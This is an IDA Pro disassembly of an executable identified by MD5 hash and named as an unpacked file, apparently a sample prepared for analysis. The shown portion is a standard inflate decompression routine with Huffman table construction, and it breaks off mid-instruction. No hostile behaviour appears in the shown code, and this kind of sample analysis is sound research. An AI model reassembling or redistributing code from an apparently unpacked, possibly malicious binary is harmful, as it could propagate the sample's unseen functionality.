; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F2A89FAC27E1493F243AA65AD5F718F4 ; File Name : u:\work\f2a89fac27e1493f243aa65ad5f718f4_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005BFC ( 23548.) ; Section size in file : 00005BFC ( 23548.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_403B73+F6p var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 44h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, [eax] lea esi, [eax+10h] mov eax, [eax+4] mov [ebp+var_38], ecx mov ecx, [esi+9BA8h] mov ebx, [esi+518h] mov [ebp+var_34], eax mov eax, [esi+51Ch] mov [ebp+var_40], eax mov eax, [esi+9BA4h] cmp ecx, eax mov [ebp+var_30], ecx jnb short loc_401041 sub eax, ecx dec eax jmp short loc_401049 ; --------------------------------------------------------------------------- loc_401041: ; CODE XREF: sub_401000+3Aj mov eax, [esi+9BA0h] sub eax, ecx loc_401049: ; CODE XREF: sub_401000+3Fj mov [ebp+var_2C], eax jmp loc_401A14 ; --------------------------------------------------------------------------- loc_401051: ; CODE XREF: sub_401000+A19j jmp ds:off_401A4F[eax*4] ; --------------------------------------------------------------------------- loc_401058: ; CODE XREF: sub_401000+7Bj cmp [ebp+var_34], 0 jz loc_401A24 mov eax, [ebp+var_38] dec [ebp+var_34] mov ecx, ebx movzx eax, byte ptr [eax] shl eax, cl or [ebp+var_40], eax inc [ebp+var_38] add ebx, 8 loc_401078: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A6Fo cmp ebx, 3 jb short loc_401058 mov eax, [ebp+var_40] sub ebx, 3 shr [ebp+var_40], 3 and eax, 7 mov ecx, eax and cl, 1 neg cl sbb ecx, ecx and ecx, 7 shr eax, 1 add ecx, 8 sub eax, 0 mov [esi+514h], ecx jz loc_4011D8 dec eax jz short loc_401103 dec eax jz short loc_4010F8 dec eax jnz loc_401A14 loc_4010B7: ; CODE XREF: sub_401000:loc_401051j ; sub_401000+358j ... or edi, 0FFFFFFFFh mov dword ptr [esi], 11h loc_4010C0: ; CODE XREF: sub_401000+A42j ; sub_401000+A4Aj mov eax, [ebp+var_40] mov ecx, [ebp+arg_0] mov [esi+51Ch], eax mov eax, [ebp+var_34] mov [esi+518h], ebx mov [ecx+4], eax loc_4010D8: ; CODE XREF: sub_401000+A3Bj mov eax, [ebp+arg_0] mov ecx, [ebp+var_38] push eax mov [eax], ecx mov ecx, [ebp+var_30] mov [esi+9BA8h], ecx call sub_401A8F mov eax, edi pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4010F8: ; CODE XREF: sub_401000+AEj mov dword ptr [esi], 0Bh jmp loc_401A14 ; --------------------------------------------------------------------------- loc_401103: ; CODE XREF: sub_401000+ABj cmp byte_40A580, 0 jnz loc_4011B0 and [ebp+var_8], 0 mov eax, offset dword_409400 loc_401119: ; CODE XREF: sub_401000+143j cmp eax, offset dword_40963C mov cl, 8 jle short loc_401136 cmp eax, offset dword_409800 jge short loc_40112D inc cl jmp short loc_401136 ; --------------------------------------------------------------------------- loc_40112D: ; CODE XREF: sub_401000+127j cmp eax, offset dword_409860 jge short loc_401136 mov cl, 7 loc_401136: ; CODE XREF: sub_401000+120j ; sub_401000+12Bj ... movsx ecx, cl mov [eax], ecx add eax, 4 cmp eax, offset dword_409880 jl short loc_401119 lea eax, [ebp+var_8] mov edi, offset dword_409400 push eax push offset dword_409D00 push offset byte_409024 push offset dword_4093FC push offset dword_4072E0 push offset dword_4072A0 push 101h push 120h push edi call sub_401AF7 push 1Eh pop ecx push 5 pop eax rep stosd lea eax, [ebp+var_8] push eax push offset dword_409D00 push offset byte_409028 push offset dword_4093F8 push offset dword_40735C push offset dword_407320 push 0 push 1Eh push offset dword_409400 call sub_401AF7 inc byte_40A580 loc_4011B0: ; CODE XREF: sub_401000+10Aj mov al, byte_409024 mov [esi+10h], al mov al, byte_409028 mov [esi+11h], al mov eax, dword_4093FC mov [esi+14h], eax mov eax, dword_4093F8 mov [esi+18h], eax loc_4011D0: ; CODE XREF: sub_401000+83Aj ; sub_401000+909j ... and dword ptr [esi], 0 jmp loc_401A14 ; --------------------------------------------------------------------------- loc_4011D8: ; CODE XREF: sub_401000+A4j mov ecx, ebx mov dword ptr [esi], 9 and ecx, 7 shr [ebp+var_40], cl sub ebx, ecx jmp loc_401A14 ; --------------------------------------------------------------------------- loc_4011ED: ; CODE XREF: sub_401000+210j cmp [ebp+var_34], 0 jz loc_401A24 mov eax, [ebp+var_38] dec [ebp+var_34] mov ecx, ebx movzx eax, byte ptr [eax] shl eax, cl or [ebp+var_40], eax inc [ebp+var_38] add ebx, 8 loc_40120D: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A73o cmp ebx, 10h jb short loc_4011ED mov eax, [ebp+var_40] xor ebx, ebx and eax, 0FFFFh mov [ebp+var_40], ebx cmp eax, ebx mov [esi+4], eax jz loc_401313 push 0Ah pop eax jmp loc_401319 ; --------------------------------------------------------------------------- loc_401232: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A77o cmp [ebp+var_34], 0 jz loc_401A24 mov eax, [ebp+var_2C] test eax, eax jnz loc_4012DF mov ecx, [esi+9BA0h] mov edx, [ebp+var_30] cmp edx, ecx jnz short loc_40127D mov eax, [esi+9BA4h] lea edi, [esi+1BA0h] cmp eax, edi jz short loc_40127D mov edx, edi cmp edx, eax mov [ebp+var_30], edx jnb short loc_401272 sub eax, edx dec eax jmp short loc_401276 ; --------------------------------------------------------------------------- loc_401272: ; CODE XREF: sub_401000+26Bj sub ecx, edx mov eax, ecx loc_401276: ; CODE XREF: sub_401000+270j test eax, eax mov [ebp+var_2C], eax jnz short loc_4012DF loc_40127D: ; CODE XREF: sub_401000+252j ; sub_401000+262j push [ebp+arg_0] mov [esi+9BA8h], edx call sub_401A8F mov edx, [esi+9BA8h] mov ecx, [esi+9BA4h] cmp edx, ecx mov [ebp+var_30], edx jnb short loc_4012A5 mov eax, ecx sub eax, edx dec eax jmp short loc_4012AD ; --------------------------------------------------------------------------- loc_4012A5: ; CODE XREF: sub_401000+29Cj mov eax, [esi+9BA0h] sub eax, edx loc_4012AD: ; CODE XREF: sub_401000+2A3j mov edi, [esi+9BA0h] mov [ebp+var_2C], eax cmp edx, edi jnz short loc_4012D7 lea edx, [esi+1BA0h] cmp edx, ecx jz short loc_4012D7 mov [ebp+var_30], edx jnb short loc_4012D0 sub ecx, edx dec ecx mov eax, ecx jmp short loc_4012D4 ; --------------------------------------------------------------------------- loc_4012D0: ; CODE XREF: sub_401000+2C7j sub edi, edx mov eax, edi loc_4012D4: ; CODE XREF: sub_401000+2CEj mov [ebp+var_2C], eax loc_4012D7: ; CODE XREF: sub_401000+2B8j ; sub_401000+2C2j test eax, eax jz loc_401A40 loc_4012DF: ; CODE XREF: sub_401000+241j ; sub_401000+27Bj cmp eax, [ebp+var_34] jb short loc_4012E7 mov eax, [ebp+var_34] loc_4012E7: ; CODE XREF: sub_401000+2E2j mov ecx, [esi+4] cmp ecx, eax mov edi, ecx jb short loc_4012F2 mov edi, eax loc_4012F2: ; CODE XREF: sub_401000+2EEj push edi push [ebp+var_38] push [ebp+var_30] call sub_40656F add [ebp+var_38], edi sub [ebp+var_34], edi add [ebp+var_30], edi sub [ebp+var_2C], edi sub [esi+4], edi jnz loc_401A14 loc_401313: ; CODE XREF: sub_401000+224j mov eax, [esi+514h] loc_401319: ; CODE XREF: sub_401000+22Dj mov [esi], eax jmp loc_401A14 ; --------------------------------------------------------------------------- loc_401320: ; CODE XREF: sub_401000+343j cmp [ebp+var_34], 0 jz loc_401A24 mov eax, [ebp+var_38] dec [ebp+var_34] mov ecx, ebx movzx eax, byte ptr [eax] shl eax, cl or [ebp+var_40], eax inc [ebp+var_38] add ebx, 8 loc_401340: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A7Bo cmp ebx, 0Eh jb short loc_401320 mov eax, [ebp+var_40] and eax, 3FFFh mov ecx, eax mov [esi+4], eax and ecx, 1Fh cmp cl, 1Dh ja loc_4010B7 and eax, 3E0h cmp eax, 3A0h ja loc_4010B7 shr [ebp+var_40], 0Eh sub ebx, 0Eh and dword ptr [esi+8], 0 mov dword ptr [esi], 0Ch loc_40137F: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A7Fo mov eax, [esi+4] shr eax, 0Ah add eax, 4 cmp [esi+8], eax jnb short loc_4013F6 jmp short loc_4013AF ; --------------------------------------------------------------------------- loc_40138F: ; CODE XREF: sub_401000+3B2j cmp [ebp+var_34], 0 jz loc_401A24 mov eax, [ebp+var_38] dec [ebp+var_34] mov ecx, ebx movzx eax, byte ptr [eax] shl eax, cl or [ebp+var_40], eax inc [ebp+var_38] add ebx, 8 loc_4013AF: ; CODE XREF: sub_401000+38Dj ; sub_401000+3E0j cmp ebx, 3 jb short loc_40138F mov ecx, [esi+8] mov eax, [ebp+var_40] and eax, 7 sub ebx, 3 movsx ecx, ds:byte_40728C[ecx] shr [ebp+var_40], 3 mov [esi+ecx*4+0Ch], eax mov ecx, [esi+4] inc dword ptr [esi+8] mov eax, [esi+8] shr ecx, 0Ah add ecx, 4 cmp eax, ecx jb short loc_4013AF jmp short loc_4013F6 ; --------------------------------------------------------------------------- loc_4013E4: ; CODE XREF: sub_401000+3FAj mov eax, [esi+8] movsx eax, ds:byte_40728C[eax] and dword ptr [esi+eax*4+0Ch], 0 inc dword ptr [esi+8] loc_4013F6: ; CODE XREF: sub_401000+38Bj ; sub_401000+3E2j cmp dword ptr [esi+8], 13h jb short loc_4013E4 lea ecx, [ebp+var_8] lea edi, [esi+50Ch] push ecx lea ecx, [esi+520h] push ecx lea ecx, [esi+510h] xor eax, eax push edi push ecx push eax mov [ebp+var_8], eax push eax push 13h lea eax, [esi+0Ch] push 13h push eax mov dword ptr [edi], 7 call sub_401AF7 test eax, eax jnz short loc_401445 cmp [edi], eax jz short loc_401445 and [esi+8], eax mov dword ptr [esi], 0Dh jmp loc_401562 ; --------------------------------------------------------------------------- loc_401445: ; CODE XREF: sub_401000+431j ; sub_401000+435j mov dword ptr [esi], 11h jmp loc_401A14 ; --------------------------------------------------------------------------- loc_401450: ; CODE XREF: sub_401000+57Cj mov eax, [esi+50Ch] jmp short loc_401478 ; --------------------------------------------------------------------------- loc_401458: ; CODE XREF: sub_401000+47Aj cmp [ebp+var_34], 0 jz loc_401A24 mov ecx, [ebp+var_38] dec [ebp+var_34] movzx edx, byte ptr [ecx] mov ecx, ebx shl edx, cl or [ebp+var_40], edx inc [ebp+var_38] add ebx, 8 loc_401478: ; CODE XREF: sub_401000+456j cmp ebx, eax jb short loc_401458 movzx eax, word_409000[eax*2] and eax, [ebp+var_40] mov ecx, [esi+510h] lea eax, [ecx+eax*4] movzx edx, byte ptr [eax+1] movzx eax, word ptr [eax+2] cmp eax, 10h mov [ebp+var_14], eax jnb short loc_4014B6 mov ecx, edx sub ebx, edx shr [ebp+var_40], cl mov ecx, [esi+8] mov [esi+ecx*4+0Ch], eax inc dword ptr [esi+8] jmp loc_401562 ; --------------------------------------------------------------------------- loc_4014B6: ; CODE XREF: sub_401000+49Ej cmp eax, 12h jnz short loc_4014C7 push 7 mov [ebp+var_8], 0Bh pop eax jmp short loc_4014F3 ; --------------------------------------------------------------------------- loc_4014C7: ; CODE XREF: sub_401000+4B9j add eax, 0FFFFFFF2h mov [ebp+var_8], 3 jmp short loc_4014F3 ; --------------------------------------------------------------------------- loc_4014D3: ; CODE XREF: sub_401000+4F8j cmp [ebp+var_34], 0 jz loc_401A24 mov ecx, [ebp+var_38] dec [ebp+var_34] movzx edi, byte ptr [ecx] mov ecx, ebx shl edi, cl or [ebp+var_40], edi inc [ebp+var_38] add ebx, 8 loc_4014F3: ; CODE XREF: sub_401000+4C5j ; sub_401000+4D1j lea ecx, [eax+edx] cmp ebx, ecx jb short loc_4014D3 mov ecx, edx sub ebx, edx shr [ebp+var_40], cl movzx ecx, word_409000[eax*2] and ecx, [ebp+var_40] mov edx, [ebp+var_8] sub ebx, eax add edx, ecx mov ecx, eax mov eax, [esi+4] shr [ebp+var_40], cl mov ecx, [esi+8] mov edi, eax shr edi, 5 and edi, 1Fh and eax, 1Fh lea eax, [edi+eax+102h] lea edi, [edx+ecx] cmp edi, eax ja loc_4010B7 cmp [ebp+var_14], 10h jnz short loc_401550 cmp ecx, 1 jb loc_4010B7 mov edi, [esi+ecx*4+8] jmp short loc_401552 ; --------------------------------------------------------------------------- loc_401550: ; CODE XREF: sub_401000+53Fj xor edi, edi loc_401552: ; CODE XREF: sub_401000+54Ej lea eax, [esi+ecx*4+0Ch] loc_401556: ; CODE XREF: sub_401000+55Dj mov [eax], edi inc ecx add eax, 4 dec edx jnz short loc_401556 mov [esi+8], ecx loc_401562: ; CODE XREF: sub_401000:loc_401051j ; sub_401000+440j ... mov eax, [esi+4] mov ecx, [esi+8] mov edx, eax and eax, 1Fh shr edx, 5 and edx, 1Fh lea eax, [edx+eax+102h] cmp ecx, eax jb loc_401450 mov eax, [esi+4] and dword ptr [esi+510h], 0 and [ebp+var_C], 0 mov edi, eax shr eax, 5 and edi, 1Fh mov ecx, 101h and eax, 1Fh add edi, ecx inc eax lea edx, [ebp+var_C] mov [ebp+var_14], eax lea eax, [esi+520h] push edx push eax lea eax, [ebp+var_4] mov [ebp+var_4], 9 push eax lea eax, [ebp+var_18] push eax push offset dword_4072E0 push offset dword_4072A0 push ecx lea eax, [esi+0Ch] push edi push eax mov [ebp+var_10], 6 call sub_401AF7 cmp [ebp+var_4], 0 jnz short loc_4015E5 or eax, 0FFFFFFFFh loc_4015E5: ; CODE XREF: sub_401000+5E0j test eax, eax jnz loc_4010B7 lea eax, [ebp+var_C] push eax lea eax, [esi+520h] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax push offset dword_40735C push offset dword_407320 push 0 push [ebp+var_14] lea eax, [esi+edi*4+0Ch] push eax call sub_401AF7 test eax, eax jnz loc_4010B7 mov eax, [ebp+var_10] test eax, eax jnz short loc_401634 cmp edi, 101h jg loc_4010B7 loc_401634: ; CODE XREF: sub_401000+626j mov cl, byte ptr [ebp+var_4] and dword ptr [esi], 0 mov [esi+11h], al mov eax, [ebp+var_18] mov [esi+14h], eax mov eax, [ebp+var_1C] mov [esi+10h], cl mov [esi+18h], eax loc_40164C: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:off_401A4Fo movzx eax, byte ptr [esi+10h] mov [esi+0Ch], eax mov eax, [esi+14h] mov [esi+8], eax mov dword ptr [esi], 1 loc_40165F: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A53o mov eax, [esi+0Ch] jmp short loc_401684 ; --------------------------------------------------------------------------- loc_401664: ; CODE XREF: sub_401000+686j cmp [ebp+var_34], 0 jz loc_401A24 mov ecx, [ebp+var_38] dec [ebp+var_34] movzx edx, byte ptr [ecx] mov ecx, ebx shl edx, cl or [ebp+var_40], edx inc [ebp+var_38] add ebx, 8 loc_401684: ; CODE XREF: sub_401000+662j cmp ebx, eax jb short loc_401664 movzx eax, word_409000[eax*2] and eax, [ebp+var_40] mov ecx, [esi+8] lea eax, [ecx+eax*4] movzx ecx, byte ptr [eax+1] shr [ebp+var_40], cl sub ebx, ecx movzx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4016BB movzx eax, word ptr [eax+2] mov [esi+8], eax mov dword ptr [esi], 6 jmp loc_401A14 ; --------------------------------------------------------------------------- loc_4016BB: ; CODE XREF: sub_401000+6A7j test cl, 10h jz short loc_4016D8 and ecx, 0Fh mov [esi+8], ecx movzx eax, word ptr [eax+2] mov [esi+4], eax mov dword ptr [esi], 2 jmp loc_401A14 ; --------------------------------------------------------------------------- loc_4016D8: ; CODE XREF: sub_401000+6BEj test cl, 40h jz loc_4017B2 test cl, 20h jz loc_4010B7 mov dword ptr [esi], 7 jmp loc_401A14 ; --------------------------------------------------------------------------- loc_4016F5: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A57o mov eax, [esi+8] jmp short loc_40171A ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401000+71Cj cmp [ebp+var_34], 0 jz loc_401A24 mov ecx, [ebp+var_38] dec [ebp+var_34] movzx edx, byte ptr [ecx] mov ecx, ebx shl edx, cl or [ebp+var_40], edx inc [ebp+var_38] add ebx, 8 loc_40171A: ; CODE XREF: sub_401000+6F8j cmp ebx, eax jb short loc_4016FA movzx ecx, word_409000[eax*2] and ecx, [ebp+var_40] add [esi+4], ecx mov ecx, eax shr [ebp+var_40], cl sub ebx, eax movzx eax, byte ptr [esi+11h] mov [esi+0Ch], eax mov eax, [esi+18h] mov [esi+8], eax mov dword ptr [esi], 3 loc_401746: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A5Bo mov eax, [esi+0Ch] jmp short loc_40176B ; --------------------------------------------------------------------------- loc_40174B: ; CODE XREF: sub_401000+76Dj cmp [ebp+var_34], 0 jz loc_401A24 mov ecx, [ebp+var_38] dec [ebp+var_34] movzx edx, byte ptr [ecx] mov ecx, ebx shl edx, cl or [ebp+var_40], edx inc [ebp+var_38] add ebx, 8 loc_40176B: ; CODE XREF: sub_401000+749j cmp ebx, eax jb short loc_40174B movzx eax, word_409000[eax*2] and eax, [ebp+var_40] mov ecx, [esi+8] lea eax, [ecx+eax*4] movzx ecx, byte ptr [eax+1] shr [ebp+var_40], cl sub ebx, ecx movzx ecx, byte ptr [eax] test cl, 10h jz short loc_4017A9 and ecx, 0Fh mov [esi+8], ecx movzx eax, word ptr [eax+2] mov [esi+0Ch], eax mov dword ptr [esi], 4 jmp loc_401A14 ; --------------------------------------------------------------------------- loc_4017A9: ; CODE XREF: sub_401000+78Fj test cl, 40h jnz loc_4010B7 loc_4017B2: ; CODE XREF: sub_401000+6DBj mov [esi+0Ch], ecx movzx ecx, word ptr [eax+2] lea eax, [eax+ecx*4] mov [esi+8], eax jmp loc_401A14 ; --------------------------------------------------------------------------- loc_4017C4: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A5Fo mov eax, [esi+8] jmp short loc_4017E9 ; --------------------------------------------------------------------------- loc_4017C9: ; CODE XREF: sub_401000+7EBj cmp [ebp+var_34], 0 jz loc_401A24 mov ecx, [ebp+var_38] dec [ebp+var_34] movzx edx, byte ptr [ecx] mov ecx, ebx shl edx, cl or [ebp+var_40], edx inc [ebp+var_38] add ebx, 8 loc_4017E9: ; CODE XREF: sub_401000+7C7j cmp ebx, eax jb short loc_4017C9 movzx ecx, word_409000[eax*2] and ecx, [ebp+var_40] add [esi+0Ch], ecx mov ecx, eax shr [ebp+var_40], cl sub ebx, eax mov dword ptr [esi], 5 loc_401808: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A63o mov eax, [ebp+var_30] mov edx, [esi+0Ch] mov ecx, eax sub ecx, esi sub ecx, 1BA0h cmp ecx, edx jnb short loc_40182F mov ecx, [esi+9BA0h] sub ecx, edx sub ecx, esi lea ecx, [ecx+eax-1BA0h] jmp short loc_401833 ; --------------------------------------------------------------------------- loc_40182F: ; CODE XREF: sub_401000+81Aj mov ecx, eax sub ecx, edx loc_401833: ; CODE XREF: sub_401000+82Dj cmp dword ptr [esi+4], 0 mov [ebp+var_20], ecx jz loc_4011D0 mov edi, [ebp+var_2C] loc_401843: ; CODE XREF: sub_401000+903j test edi, edi jnz loc_4018DC mov edi, [esi+9BA0h] cmp eax, edi jnz short loc_401878 mov ecx, [esi+9BA4h] lea edx, [esi+1BA0h] cmp ecx, edx jz short loc_401878 mov eax, edx cmp eax, ecx jnb short loc_401872 sub ecx, eax dec ecx mov edi, ecx jmp short loc_401874 ; --------------------------------------------------------------------------- loc_401872: ; CODE XREF: sub_401000+869j sub edi, eax loc_401874: ; CODE XREF: sub_401000+870j test edi, edi jnz short loc_4018DC loc_401878: ; CODE XREF: sub_401000+853j ; sub_401000+863j push [ebp+arg_0] mov [esi+9BA8h], eax call sub_401A8F mov eax, [esi+9BA8h] mov ecx, [esi+9BA4h] cmp eax, ecx mov [ebp+var_30], eax jnb short loc_4018A0 mov edi, ecx sub edi, eax dec edi jmp short loc_4018A8 ; --------------------------------------------------------------------------- loc_4018A0: ; CODE XREF: sub_401000+897j mov edi, [esi+9BA0h] sub edi, eax loc_4018A8: ; CODE XREF: sub_401000+89Ej mov edx, [esi+9BA0h] cmp eax, edx mov [ebp+var_8], edx jnz short loc_4018D4 lea edx, [esi+1BA0h] cmp ecx, edx jz short loc_4018D4 mov eax, edx cmp eax, ecx mov [ebp+var_30], eax jnb short loc_4018CF sub ecx, eax dec ecx mov edi, ecx jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_4018CF: ; CODE XREF: sub_401000+8C6j mov edi, [ebp+var_8] sub edi, eax loc_4018D4: ; CODE XREF: sub_401000+8B3j ; sub_401000+8BDj ... test edi, edi jz loc_401A40 loc_4018DC: ; CODE XREF: sub_401000+845j ; sub_401000+876j mov ecx, [ebp+var_20] mov dl, [ecx] mov [eax], dl inc eax inc ecx dec edi cmp ecx, [esi+9BA0h] mov [ebp+var_30], eax mov [ebp+var_20], ecx mov [ebp+var_2C], edi jnz short loc_401900 lea ecx, [esi+1BA0h] mov [ebp+var_20], ecx loc_401900: ; CODE XREF: sub_401000+8F5j dec dword ptr [esi+4] jnz loc_401843 jmp loc_4011D0 ; --------------------------------------------------------------------------- loc_40190E: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A67o mov eax, [ebp+var_2C] mov edi, [ebp+var_30] test eax, eax jnz loc_4019AD mov ecx, [esi+9BA0h] cmp edi, ecx jnz short loc_401949 mov eax, [esi+9BA4h] lea edx, [esi+1BA0h] cmp eax, edx jz short loc_401949 mov edi, edx cmp edi, eax jnb short loc_401941 sub eax, edi dec eax jmp short loc_401945 ; --------------------------------------------------------------------------- loc_401941: ; CODE XREF: sub_401000+93Aj sub ecx, edi mov eax, ecx loc_401945: ; CODE XREF: sub_401000+93Fj test eax, eax jnz short loc_4019AD loc_401949: ; CODE XREF: sub_401000+924j ; sub_401000+934j push [ebp+arg_0] mov [esi+9BA8h], edi call sub_401A8F mov edi, [esi+9BA8h] mov ecx, [esi+9BA4h] cmp edi, ecx mov [ebp+var_30], edi jnb short loc_401971 mov eax, ecx sub eax, edi dec eax jmp short loc_401979 ; --------------------------------------------------------------------------- loc_401971: ; CODE XREF: sub_401000+968j mov eax, [esi+9BA0h] sub eax, edi loc_401979: ; CODE XREF: sub_401000+96Fj mov edx, [esi+9BA0h] cmp edi, edx mov [ebp+var_8], edx jnz short loc_4019A5 lea edx, [esi+1BA0h] cmp ecx, edx jz short loc_4019A5 mov edi, edx cmp edi, ecx mov [ebp+var_30], edi jnb short loc_4019A0 sub ecx, edi dec ecx mov eax, ecx jmp short loc_4019A5 ; --------------------------------------------------------------------------- loc_4019A0: ; CODE XREF: sub_401000+997j mov eax, [ebp+var_8] sub eax, edi loc_4019A5: ; CODE XREF: sub_401000+984j ; sub_401000+98Ej ... test eax, eax jz loc_401A40 loc_4019AD: ; CODE XREF: sub_401000+916j ; sub_401000+947j mov cl, [esi+8] mov [edi], cl inc edi dec eax mov [ebp+var_30], edi mov [ebp+var_2C], eax jmp loc_4011D0 ; --------------------------------------------------------------------------- loc_4019BF: ; CODE XREF: sub_401000:loc_401051j ; DATA XREF: .text:00401A6Bo cmp ebx, 7 jbe short loc_4019CD sub ebx, 8 inc [ebp+var_34] dec [ebp+var_38] loc_4019CD: ; CODE XREF: sub_401000:loc_401051j ; sub_401000+9C2j ; DATA XREF: ... mov eax, [ebp+var_30] push [ebp+arg_0] mov [esi+9BA8h], eax call sub_401A8F mov ecx, [esi+9BA8h] mov edx, [esi+9BA4h] cmp ecx, edx mov [ebp+var_30], ecx jnb short loc_4019F8 mov eax, edx sub eax, ecx dec eax jmp short loc_401A00 ; --------------------------------------------------------------------------- loc_4019F8: ; CODE XREF: sub_401000+9EFj mov eax, [esi+9BA0h] sub eax, ecx loc_401A00: ; CODE XREF: sub_401000+9F6j cmp ecx, edx mov [ebp+var_2C], eax jnz short loc_401A40 mov eax, [esi+514h] cmp eax, 8 mov [esi], eax jnz short loc_401A47 loc_401A14: ; CODE XREF: sub_401000+4Cj ; sub_401000+B1j ... mov eax, [esi] cmp eax, 0Fh jbe loc_401051 jmp loc_4010B7 ; --------------------------------------------------------------------------- loc_401A24: ; CODE XREF: sub_401000+5Cj ; sub_401000+1F1j ... mov eax, [ebp+var_40] xor edi, edi mov [esi+51Ch], eax mov eax, [ebp+arg_0] mov [esi+518h], ebx mov [eax+4], edi jmp loc_4010D8 ; --------------------------------------------------------------------------- loc_401A40: ; CODE XREF: sub_401000+2D9j ; sub_401000+8D6j ... xor edi, edi jmp loc_4010C0 ; --------------------------------------------------------------------------- loc_401A47: ; CODE XREF: sub_401000+A12j xor edi, edi inc edi jmp loc_4010C0 sub_401000 endp ; --------------------------------------------------------------------------- off_401A4F dd offset loc_40164C ; DATA XREF: sub_401000:loc_401051r dd offset loc_40165F dd offset loc_4016F5 dd offset loc_401746 dd offset loc_4017C4 dd offset loc_401808 dd offset loc_40190E dd offset loc_4019BF dd offset loc_401078 dd offset loc_40120D dd offset loc_401232 dd offset loc_401340 dd offset loc_40137F dd offset loc_401562 dd offset loc_4010B7 dd offset loc_4019CD ; =============== S U B R O U T I N E ======================================= sub_401A8F proc near ; CODE XREF: sub_401000+EAp ; sub_401000+286p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, [esi+9BB4h] loc_401A9C: ; CODE XREF: sub_401A8F+52j ; sub_401A8F+5Aj mov ebx, [esi+9BB8h] cmp edi, ebx jbe short loc_401AAC mov ebx, [esi+9BB0h] loc_401AAC: ; CODE XREF: sub_401A8F+15j mov eax, [esi+0Ch] sub ebx, edi cmp ebx, eax jb short loc_401AB7 mov ebx, eax loc_401AB7: ; CODE XREF: sub_401A8F+24j push ebx push edi push dword ptr [esi+8] sub eax, ebx mov [esi+0Ch], eax call sub_40656F add [esi+8], ebx mov eax, [esi+9BB0h] add edi, ebx cmp edi, eax jnz short loc_401AEB cmp [esi+9BB8h], eax lea edi, [esi+1BB0h] jnz short loc_401A9C mov [esi+9BB8h], edi jmp short loc_401A9C ; --------------------------------------------------------------------------- loc_401AEB: ; CODE XREF: sub_401A8F+44j mov [esi+9BB4h], edi pop edi pop esi pop ebx retn 4 sub_401A8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AF7 proc near ; CODE XREF: sub_401000+172p ; sub_401000+1A5p ... var_EC = dword ptr -0ECh var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 0ECh push ebx push esi mov esi, [ebp+arg_4] push edi push 10h xor eax, eax pop ecx lea edi, [ebp+var_70] rep stosd mov ecx, [ebp+arg_0] mov edx, esi loc_401B15: ; CODE XREF: sub_401AF7+2Aj mov eax, [ecx] add ecx, 4 lea eax, [ebp+eax*4+var_70] inc dword ptr [eax] dec edx jnz short loc_401B15 cmp [ebp+var_70], esi jnz short loc_401B3B mov eax, [ebp+arg_14] and dword ptr [eax], 0 mov eax, [ebp+arg_18] and dword ptr [eax], 0 xor eax, eax jmp loc_401E2B ; --------------------------------------------------------------------------- loc_401B3B: ; CODE XREF: sub_401AF7+2Fj mov esi, [ebp+arg_18] xor ebx, ebx inc ebx push 0Fh mov edi, [esi] mov ecx, ebx mov [ebp+arg_18], edi pop edx loc_401B4B: ; CODE XREF: sub_401AF7+5Fj xor eax, eax cmp [ebp+ecx*4+var_70], eax jnz short loc_401B58 inc ecx cmp 